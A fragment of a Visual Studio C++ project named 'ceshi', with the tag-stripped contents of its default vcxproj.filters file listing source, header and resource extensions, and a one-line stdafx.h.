ceshi/ceshi.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 源文件 头文件 ================================================ FILE: ceshi/stdafx.h ================================================ #pragma once